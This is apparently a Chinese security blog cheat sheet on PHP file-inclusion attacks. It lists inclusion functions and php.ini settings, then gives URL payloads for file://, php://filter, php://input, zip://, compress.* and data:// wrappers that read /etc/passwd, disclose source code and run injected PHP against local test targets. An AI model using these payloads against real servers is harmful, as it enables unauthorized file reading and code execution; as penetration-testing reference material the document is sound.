日期:2019-07-28 21:24:36
更新:
作者:Bay0net
介绍:
0x01、基本信息
文件包含函数
include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()
环境概要
PHP 配置文件: PHP.ini
默认路径: /etc/PHP5/apache2/PHP.ini
具体要求:
allow_url_fopen=on:默认开启,该选项为 on 便是激活了 URL 形式的 fopen 封装协议,使得可以访问 URL 对象文件等。
allow_url_include=on:默认关闭,该选项为 on 便是允许包含 URL 对象文件等。
0x02、伪协议
file://协议
该协议在双 off 的情况下也可以正常使用;
?page=file:///etc/passwd
?file=file://D:/soft/PHPStudy/WWW/PHPcode.txt
PHP://协议
不需要开启 allow_url_fopen
下面的几个需要开启 allow_url_fopen
PHP://input
PHP://stdin
PHP://memory
PHP://temp
PHP://filter 读文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
在双 off 的情况下也可以正常使用,用于读取源代码并进行 base64
编码输出,不然会直接当做 PHP
代码执行就看不到源代码内容了。
?page=PHP://filter/read=convert.base64-encode/resource=file1.PHP
PHP://input 命令执行
环境:
- allow_url_fopen :off/on
- allow_url_include:on
注:当 enctype="multipart/form-data"
时,PHP://input
是无效的。
payload:
url: http://127.0.0.1:81/vulnerabilities/fi/?page=PHP://input
post: <?PHP PHPinfo(); ?>

zip:// 压缩文件
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
实例
http://127.0.0.1/cmd.PHP?file=zip://D:/soft/PHPStudy/WWW/file.jpg%23PHPcode.txt
先将要执行的PHP代码写好文件名为PHPcode.txt,将PHPcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
bzip2://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.bzip2://file.bz2
实例
http://127.0.0.1/cmd.PHP?file=compress.bzip2://D:/soft/PHPStudy/WWW/file.jpg
http://127.0.0.1/cmd.PHP?file=compress.bzip2://./file.jpg
zlib://协议
环境:
- allow_url_fopen :off/on
- allow_url_include:off/on
用法:
- compress.zlib://file.gz
实例
http://127.0.0.1/cmd.PHP?file=compress.zlib://D:/soft/PHPStudy/WWW/file.jpg
http://127.0.0.1/cmd.PHP?file=compress.zlib://./file.jpg
data://
环境:
- allow_url_fopen :on
- allow_url_include:on
实例
# 明文
http://127.0.0.1/cmd.PHP?file=data://text/plain,<?PHP PHPinfo()?>
# base64 编码
http://127.0.0.1/cmd.PHP?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

0x03、Reference
php伪协议实现命令执行的七种姿势 - FreeBuf专栏·潜心学习的小白帽
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。